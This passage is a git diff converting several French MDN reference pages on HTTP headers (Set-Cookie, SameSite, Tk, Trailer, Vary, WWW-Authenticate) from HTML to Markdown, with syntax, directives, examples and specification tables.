(HTTPS) + Set-Cookie: __Secure-ID=123; Secure; Domain=example.com + Set-Cookie: __Host-ID=123; Secure; Path=/ + + // Rejeté car l'attribut Secure est manquant + Set-Cookie: __Secure-id=1 + + // Rejeté car l'attribut Path=/ est manquant + Set-Cookie: __Host-id=1; Secure + + // Rejeté à cause du domaine qui est spécifié + Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com + +## Spécifications + +| Spécification | Titre | +| ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("6265", "Set-Cookie", "4.1")}} | HTTP State Management Mechanism | +| [draft-ietf-httpbis-rfc6265bis-05](https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05) | Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies | -<h2 id="browser_compatibility">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Set-Cookie", 5)}}</p> +{{Compat("http.headers.Set-Cookie", 5)}} -<h2 id="compatibility_notes">Note de compatibilité</h2> +## Note de compatibilité -<ul> - <li>À partir de Chrome 52 et Firefox 52, les sites non sécurisés (<code>http:</code>) ne peuvent plus définir des cookies avec la directive <code>Secure</code>.</li> -</ul> +- À partir de Chrome 52 et Firefox 52, les sites non sécurisés (`http:`) ne peuvent plus définir des cookies avec la directive `Secure`. -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Cookies">Cookies HTTP</a></li> - <li><a href="/fr/docs/Web/HTTP/Headers/Cookie"><code>Cookie</code></a></li> - <li><a href="/fr/docs/Web/API/Document/cookie"><code>Document.cookie</code></a></li> - <li><a href="/fr/docs/Web/HTTP/Headers/Set-Cookie/SameSite">Cookies SameSite</a></li> -</ul> +- [Cookies HTTP](/fr/docs/Web/HTTP/Cookies) +- [`Cookie`](/fr/docs/Web/HTTP/Headers/Cookie) +- [`Document.cookie`](/fr/docs/Web/API/Document/cookie) +- [Cookies SameSite](/fr/docs/Web/HTTP/Headers/Set-Cookie/SameSite) diff --git a/files/fr/web/http/headers/set-cookie/samesite/index.md b/files/fr/web/http/headers/set-cookie/samesite/index.md index 1daba82b19..bc08705b7c 100644 --- a/files/fr/web/http/headers/set-cookie/samesite/index.md +++ b/files/fr/web/http/headers/set-cookie/samesite/index.md @@ -8,110 +8,97 @@ tags: - samesite translation_of: Web/HTTP/Headers/Set-Cookie/SameSite --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'attribut <strong><code>SameSite</code></strong> de l'en-tête de réponse HTTP {{HTTPHeader("Set-Cookie")}} vous permet de déclarer si vos cookies doivent être restreints au site visité, à des tiers, ou à des sous-domaines du site actuel.</p> +L'attribut **`SameSite`** de l'en-tête de réponse HTTP {{HTTPHeader("Set-Cookie")}} vous permet de déclarer si vos cookies doivent être restreints au site visité, à des tiers, ou à des sous-domaines du site actuel. -<h2 id="Valeurs">Valeurs</h2> +## Valeurs -<p>L'attribut <code>SameSite</code> accepte trois valeurs possibles :</p> +L'attribut `SameSite` accepte trois valeurs possibles : -<h3 id="Lax"><code>Lax</code></h3> +### `Lax` -<p>Les cookies sont transférables depuis le site actuel vers des sites de niveaux inférieurs et seront envoyés lors de requêtes GET initialisées par des sites tiers. C'est la valeur par défaut des navigateurs les plus récents.</p> +Les cookies sont transférables depuis le site actuel vers des sites de niveaux inférieurs et seront envoyés lors de requêtes GET initialisées par des sites tiers. C'est la valeur par défaut des navigateurs les plus récents. -<h3 id="Strict"><code>Strict</code></h3> +### `Strict` -<p>Les cookies ne seront envoyés qu'avec les requêtes effectuées sur le domaine de même niveau, et ne seront pas envoyées sur les requêtes vers des sites tiers.</p> +Les cookies ne seront envoyés qu'avec les requêtes effectuées sur le domaine de même niveau, et ne seront pas envoyées sur les requêtes vers des sites tiers. -<h3 id="None"><code>None</code></h3> +### `None` -<p>Les cookies seront envoyés dans tous les contextes, rendant possibles les requêtes de type <em>cross-origin</em>.</p> +Les cookies seront envoyés dans tous les contextes, rendant possibles les requêtes de type _cross-origin_. -<p><code>None</code> était la valeur par défaut des navigateurs, mais les navigateurs les plus récents optent désormais pour la valeur <code>Lax</code> comme valeur par défaut pour une meilleure défense contre les attaques de type <em>cross-site request forgery</em> ({{Glossary("CSRF")}}).</p> +`None` était la valeur par défaut des navigateurs, mais les navigateurs les plus récents optent désormais pour la valeur `Lax` comme valeur par défaut pour une meilleure défense contre les attaques de type _cross-site request forgery_ ({{Glossary("CSRF")}}). -<p><code>None</code> requiert l'attribut <code>Secure</code> dans les dernières versions des navigateurs les plus récents. Voir plus bas pour plus d'informations.</p> +`None` requiert l'attribut `Secure` dans les dernières versions des navigateurs les plus récents. Voir plus bas pour plus d'informations. -<h2 id="Corriger_les_erreurs_les_plus_communes">Corriger les erreurs les plus communes</h2> +## Corriger les erreurs les plus communes -<h3 id="SameSiteNone_requiert_Secure"><code>SameSite=None</code> requiert <code>Secure</code></h3> +### `SameSite=None` requiert `Secure` -<p>Une alerte de ce type peut apparaître dans la console de votre navigateur :</p> +Une alerte de ce type peut apparaître dans la console de votre navigateur : -<blockquote> -<p><em>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br> - Cookie “</em>myCookie<em>” rejected because it has the “sameSite=none” attribute but is missing the “secure” attribute.</em></p> -</blockquote> +> *Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected. +> Cookie “*myCookie*” rejected because it has the “sameSite=none” attribute but is missing the “secure” attribute.* -<p>Cet alerte apparaît dans les cas où des cookies requièrent l'attribut <code>SameSite=None</code> et ne sont pas marqués <code>Secure</code>, étant donc refusés par le navigateur.</p> +Cet alerte apparaît dans les cas où des cookies requièrent l'attribut `SameSite=None` et ne sont pas marqués `Secure`, étant donc refusés par le navigateur. -<pre class="example-bad">Set-Cookie: flavor=choco; SameSite=None</pre> +```plain example-bad +Set-Cookie: flavor=choco; SameSite=None +``` -<p>Pour corriger cette erreur, vous devez ajouter l'attribut <code>Secure</code> à vos cookies marqués avec l'attribut <code>SameSite=None</code>.</p> +Pour corriger cette erreur, vous devez ajouter l'attribut `Secure` à vos cookies marqués avec l'attribut `SameSite=None`. -<pre class="example-good">Set-Cookie: flavor=choco; SameSite=None; <strong>Secure</strong></pre> +```plain example-good +Set-Cookie: flavor=choco; SameSite=None; Secure +``` -<p>Un cookie <code>Secure</code> ne sera envoyé au serveur que par le biais de requêtes utilisant le protocole HTTPS. Il est à noter que les sites non sécurisés (<code>http:</code>) ne peuvent pas être marqués <code>Secure</code>.</p> +Un cookie `Secure` ne sera envoyé au serveur que par le biais de requêtes utilisant le protocole HTTPS. Il est à noter que les sites non sécurisés (`http:`) ne peuvent pas être marqués `Secure`. -<h3 id="Les_cookies_sans_lattribut_SameSite_utilisent_SameSiteLax_par_défaut">Les cookies sans l'attribut <code>SameSite</code> utilisent <code>SameSite=Lax</code> par défaut</h3> +### Les cookies sans l'attribut `SameSite` utilisent `SameSite=Lax` par défaut -<p>Les dernières versions des navigateurs récents fournissent une valeur par défaut de <code>SameSite</code> plus sécurisée pour vos cookies, il se peut donc que le message suivant apparaisse dans la console de votre navigateur :</p> +Les dernières versions des navigateurs récents fournissent une valeur par défaut de `SameSite` plus sécurisée pour vos cookies, il se peut donc que le message suivant apparaisse dans la console de votre navigateur : -<blockquote> -<p><em>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br> - Cookie “</em>myCookie<em>” has “sameSite” policy set to “lax” because it is missing a “sameSite” attribute, and “sameSite=lax” is the default value for this attribute.</em></p> -</blockquote> +> *Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected. +> Cookie “*myCookie*” has “sameSite” policy set to “lax” because it is missing a “sameSite” attribute, and “sameSite=lax” is the default value for this attribute.* -<p>Cette alerte apparait car la stratégie de <code>SameSite</code> pour le cookie n'a pas été spécifiée explicitement :</p> +Cette alerte apparait car la stratégie de `SameSite` pour le cookie n'a pas été spécifiée explicitement : -<pre class="example-bad">Set-Cookie: flavor=choco</pre> +```plain example-bad +Set-Cookie: flavor=choco +``` -<p>Même si vous pouvez compter sur la valeur par défaut <code>SameSite=Lax</code> des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut <code>Lax</code>.</p> +Même si vous pouvez compter sur la valeur par défaut `SameSite=Lax` des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut `Lax`. -<pre class="example-good">Set-Cookie: flavor=choco; <strong>SameSite=Lax</strong></pre> +```plain example-good +Set-Cookie: flavor=choco; SameSite=Lax +``` -<h2 id="Exemples"><strong>Exemples</strong></h2> +## **Exemples** -<pre>RewriteEngine on -RewriteBase "/" -RewriteCond "%{HTTP_HOST}" "^example\.org$" [NC] -RewriteRule "^(.*)" "https://www.example.org/index.html" [R=301,L,QSA] -RewriteRule "^(.*)\.ht$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure] -RewriteRule "^(.*)\.htm$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure] -RewriteRule "^(.*)\.html$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure] -[...] -RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:09:https://www.example.org:30/:SameSite=Strict:Secure] -</pre> + RewriteEngine on + RewriteBase "/" + RewriteCond "%{HTTP_HOST}" "^example\.org$" [NC] + RewriteRule "^(.*)" "https://www.example.org/index.html" [R=301,L,QSA] + RewriteRule "^(.*)\.ht$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure] + RewriteRule "^(.*)\.htm$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure] + RewriteRule "^(.*)\.html$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure] + [...] + RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:09:https://www.example.org:30/:SameSite=Strict:Secure] -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> - <td>HTTP State Management Mechanism</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td> - <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("6265", "Set-Cookie", "4.1")}} | HTTP State Management Mechanism | +| [draft-ietf-httpbis-rfc6265bis-05](https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05) | Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Set-Cookie", 5)}}</p> +{{Compat("http.headers.Set-Cookie", 5)}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Cookies">Les cookies HTTP</a></li> - <li>{{HTTPHeader("Cookie")}}</li> - <li>{{domxref("Document.cookie")}}</li> -</ul> +- [Les cookies HTTP](/fr/docs/Web/HTTP/Cookies) +- {{HTTPHeader("Cookie")}} +- {{domxref("Document.cookie")}} diff --git a/files/fr/web/http/headers/tk/index.md b/files/fr/web/http/headers/tk/index.md index 677741b57c..6d84fd981b 100644 --- a/files/fr/web/http/headers/tk/index.md +++ b/files/fr/web/http/headers/tk/index.md @@ -3,89 +3,73 @@ title: Tk slug: Web/HTTP/Headers/Tk translation_of: Web/HTTP/Headers/Tk --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'entête de réponse <code>Tk</code> indique le statut de suivi (tracking) qui s'applique à la demande correspondante.</p> +L'entête de réponse `Tk` indique le statut de suivi (tracking) qui s'applique à la demande correspondante. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Tk: ! (en construction) -Tk: ? (dynamique) -Tk: G (passerelle ou multiples parties) -Tk: N (pas de suivi) -Tk: T (suivi) -Tk: C (suivi avec consentement) -Tk: P (consentement potentiel) -Tk: D (ne tient pas compte de DNT) -Tk: U (mis à jour) -</pre> + Tk: ! (en construction) + Tk: ? (dynamique) + Tk: G (passerelle ou multiples parties) + Tk: N (pas de suivi) + Tk: T (suivi) + Tk: C (suivi avec consentement) + Tk: P (consentement potentiel) + Tk: D (ne tient pas compte de DNT) + Tk: U (mis à jour) -<h3 id="Directives">Directives</h3> +### Directives -<dl> - <dt>!</dt> - <dd>En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi.</dd> - <dt>?</dt> - <dd>Dynamique. Le serveur d'origine a besoin de plus d'informations pour déterminer l'état du suivi.</dd> - <dt>G</dt> - <dd>Passerelle ou multiples parties. Le serveur fait office de passerelle vers un échange impliquant plusieurs parties.</dd> - <dt>N</dt> - <dd>Pas de suivi.</dd> - <dt>T</dt> - <dd>Suivi.</dd> - <dt>C</dt> - <dd>Suivi avec consentement. Le serveur d'origine pense avoir reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil.</dd> - <dt>P</dt> - <dd>Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu.</dd> - <dt>D</dt> - <dd>Ne tient pas compte de DNT. Le serveur d'origine ne peut ou ne veut pas respecter une préférence de suivi reçue de l'user-agent demandeur.</dd> - <dt>U</dt> - <dd>Mis à jour. La demande a entraîné un changement potentiel du statut de suivi applicable à cet utilisateur, user-agent ou appareil.</dd> -</dl> +- ! + - : En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi. +- ? + - : Dynamique. Le serveur d'origine a besoin de plus d'informations pour déterminer l'état du suivi. +- G + - : Passerelle ou multiples parties. Le serveur fait office de passerelle vers un échange impliquant plusieurs parties. +- N + - : Pas de suivi. +- T + - : Suivi. +- C + - : Suivi avec consentement. Le serveur d'origine pense avoir reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil. +- P + - : Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu. +- D + - : Ne tient pas compte de DNT. Le serveur d'origine ne peut ou ne veut pas respecter une préférence de suivi reçue de l'user-agent demandeur. +- U + - : Mis à jour. La demande a entraîné un changement potentiel du statut de suivi applicable à cet utilisateur, user-agent ou appareil. -<h2 id="Exemple">Exemple</h2> +## Exemple -<p>Un entête <code>Tk</code> pour une ressource qui prétend ne pas être suivie :</p> +Un entête `Tk` pour une ressource qui prétend ne pas être suivie : -<pre>Tk: N</pre> + Tk: N -<h2 id="Specifications">Specifications</h2> +## Specifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}}</td> - <td>{{Spec2("Tracking")}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> +| Specification | Status | Comment | +| -------------------------------------------------------------------------------- | ---------------------------- | ------------------- | +| {{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}} | {{Spec2("Tracking")}} | Initial definition. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Tk")}}</p> +{{Compat("http.headers.Tk")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("DNT")}} header</li> - <li>{{domxref("Navigator.doNotTrack")}}</li> -</ul> +- {{HTTPHeader("DNT")}} header +- {{domxref("Navigator.doNotTrack")}} diff --git a/files/fr/web/http/headers/trailer/index.md b/files/fr/web/http/headers/trailer/index.md index d72dd82230..486e2e2311 100644 --- a/files/fr/web/http/headers/trailer/index.md +++ b/files/fr/web/http/headers/trailer/index.md @@ -3,96 +3,75 @@ title: Trailer slug: Web/HTTP/Headers/Trailer translation_of: Web/HTTP/Headers/Trailer --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête <strong>Trailer</strong> permet à l'expéditeur d'inclure des champs supplémentaires à la fin des blocs de messages pour fournir des métadonnées supplémentaires qui peuvent être générées de manière dynamique pendant que le corps du message sera envoyé, il peut s'agir de la vérification de l'intégrité du message, une signature numérique, ou encore un statut après le traitement.</p> +L'en-tête **Trailer** permet à l'expéditeur d'inclure des champs supplémentaires à la fin des blocs de messages pour fournir des métadonnées supplémentaires qui peuvent être générées de manière dynamique pendant que le corps du message sera envoyé, il peut s'agir de la vérification de l'intégrité du message, une signature numérique, ou encore un statut après le traitement. -<div class="note"> -<p><strong>Note :</strong> L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer".</p> -</div> +> **Note :** L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer". <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>yes</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">Trailer: header-names</pre> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt><code>header-names</code></dt> - <dd>HTTP header fields which will be present in the trailer part of chunked messages. These header fields are <strong>disallowed</strong>: - <ul> - <li>message framing headers (e.g., {{HTTPHeader("Transfer-Encoding")}} and {{HTTPHeader("Content-Length")}}),</li> - <li>routing headers (e.g., {{HTTPHeader("Host")}}),</li> - <li>request modifiers (e.g., controls and conditionals, like {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Max-Forwards")}}, or {{HTTPHeader("TE")}}), </li> - <li>authentication headers (e.g., {{HTTPHeader("Authorization")}} or {{HTTPHeader("Set-Cookie")}}),</li> - <li>or {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}}, and <code>Trailer</code> itself.</li> - </ul> - </dd> -</dl> - -<h2 id="Exemple">Exemple</h2> - -<h3 id="Encodage_de_transfert_en_bloc_en_utilisant_les_en-têtes_trailer."><strong>Encodage de transfert en bloc</strong> en utilisant les en-têtes "trailer".</h3> - -<p>Dans cet exemple, l'en-tête {{HTTPHeader("Expires")}} est utilisée à la fin du bloc du message et sert en tant qu'un "trailing header".</p> - -<pre>HTTP/1.1 200 OK -Content-Type: text/plain -Transfer-Encoding: chunked -Trailer: Expires - -7\r\n -Mozilla\r\n -9\r\n -Developer\r\n -7\r\n -Network\r\n -0\r\n -\r\n -Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7230", "Trailer", "4.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> - </tr> - <tr> - <td>{{RFC("7230", "Chunked trailer part", "4.1.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> - </tr> - </tbody> -</table> +## Syntaxe + + Trailer: header-names + +## Directives + +- `header-names` + + - : HTTP header fields which will be present in the trailer part of chunked messages. These header fields are **disallowed**: + + - message framing headers (e.g., {{HTTPHeader("Transfer-Encoding")}} and {{HTTPHeader("Content-Length")}}), + - routing headers (e.g., {{HTTPHeader("Host")}}), + - request modifiers (e.g., controls and conditionals, like {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Max-Forwards")}}, or {{HTTPHeader("TE")}}), + - authentication headers (e.g., {{HTTPHeader("Authorization")}} or {{HTTPHeader("Set-Cookie")}}), + - or {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}}, and `Trailer` itself. + +## Exemple + +### **Encodage de transfert en bloc** en utilisant les en-têtes "trailer". + +Dans cet exemple, l'en-tête {{HTTPHeader("Expires")}} est utilisée à la fin du bloc du message et sert en tant qu'un "trailing header". + + HTTP/1.1 200 OK + Content-Type: text/plain + Transfer-Encoding: chunked + Trailer: Expires + + 7\r\n + Mozilla\r\n + 9\r\n + Developer\r\n + 7\r\n + Network\r\n + 0\r\n + \r\n + Expires: Wed, 21 Oct 2015 07:28:00 GMT + +## Spécifications + +| Specification | Title | +| ---------------------------------------------------------------- | ------------------------------------------------------------------ | +| {{RFC("7230", "Trailer", "4.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | +| {{RFC("7230", "Chunked trailer part", "4.1.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | -<h2 id="Browser_compatibility">Compatibilités</h2> +## Compatibilités -<p>{{Compat("http/headers/trailer")}}</p> +{{Compat("http/headers/trailer")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Transfer-Encoding")}}</li> - <li>{{HTTPHeader("TE")}}</li> - <li> - <p><a href="https://fr.wikipedia.org/wiki/Chunked_transfer_encoding">Encodage de transfert en bloc</a></p> - </li> -</ul> +- {{HTTPHeader("Transfer-Encoding")}} +- {{HTTPHeader("TE")}} +- [Encodage de transfert en bloc](https://fr.wikipedia.org/wiki/Chunked_transfer_encoding) diff --git a/files/fr/web/http/headers/vary/index.md b/files/fr/web/http/headers/vary/index.md index 9686318de5..1d478a7cec 100644 --- a/files/fr/web/http/headers/vary/index.md +++ b/files/fr/web/http/headers/vary/index.md @@ -9,77 +9,61 @@ tags: - en-tête translation_of: Web/HTTP/Headers/Vary --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête HTTP <strong><code>Vary</code></strong> détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de <a href="/en-US/docs/Web/HTTP/Content_negotiation">négociation de contenu</a>.</p> +L'en-tête HTTP **`Vary`** détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de [négociation de contenu](/en-US/docs/Web/HTTP/Content_negotiation). -<p>L'en-tête <code>Vary</code> doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} <code>Not Modified</code> à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} <code>OK</code> correspondante.</p> +L'en-tête `Vary` doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} `Not Modified` à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} `OK` correspondante. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Vary: * -Vary: <header-name>, <header-name>, ... -</pre> + Vary: * + Vary: <header-name>, <header-name>, ... -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt>*</dt> - <dd>Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}<code>: private</code>, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache.</dd> - <dt><header-name></dt> - <dd>Une liste séparé par des virgules de noms d'en-tête à prendre en compte lorsqu'il est décidé si une réponse en cache peut être utilisée ou non.</dd> -</dl> +- \* + - : Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}`: private`, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache. +- \<header-name> + - : Une liste séparé par des virgules de noms d'en-tête à prendre en compte lorsqu'il est décidé si une réponse en cache peut être utilisée ou non. -<h2 id="Examples">Examples</h2> +## Examples -<h3 id="Service_dynamique">Service dynamique</h3> +### Service dynamique -<p>Lorsque l'en-tête <code>Vary: User-Agent</code> est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> n'est pas intentionel.</p> +Lorsque l'en-tête `Vary: User-Agent` est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le [Cloaking](https://en.wikipedia.org/wiki/Cloaking) n'est pas intentionel. -<pre>Vary: User-Agent</pre> + Vary: User-Agent -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "Vary", "7.1.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Vary", "7.1.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Vary")}}</p> +{{Compat("http.headers.Vary")}} -<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> +## Notes de compatibilité -<ul> - <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li> -</ul> +- [Vary with care – Vary header problems in IE6-9](https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/) -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Cache-Control")}}</li> - <li>{{HTTPHeader("User-Agent")}}</li> - <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li> -</ul> +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("User-Agent")}} +- [Best Practices for Using the Vary Header – fastly.com](https://www.fastly.com/blog/best-practices-for-using-the-vary-header) diff --git a/files/fr/web/http/headers/www-authenticate/index.md b/files/fr/web/http/headers/www-authenticate/index.md index 4f8234a6f7..6464ad59ca 100644 --- a/files/fr/web/http/headers/www-authenticate/index.md +++ b/files/fr/web/http/headers/www-authenticate/index.md @@ -3,76 +3,58 @@ title: WWW-Authenticate slug: Web/HTTP/Headers/WWW-Authenticate translation_of: Web/HTTP/Headers/WWW-Authenticate --- -<p>{{HTTPSidebar}}<br> - L'entête HTTP de réponse <strong><code>WWW-Authenticate</code></strong> définit la méthode d'authentification qui doit être utilisé pour obtenir l'accès à une ressource.</p> +{{HTTPSidebar}} +L'entête HTTP de réponse **`WWW-Authenticate`** définit la méthode d'authentification qui doit être utilisé pour obtenir l'accès à une ressource. -<p>L'entête 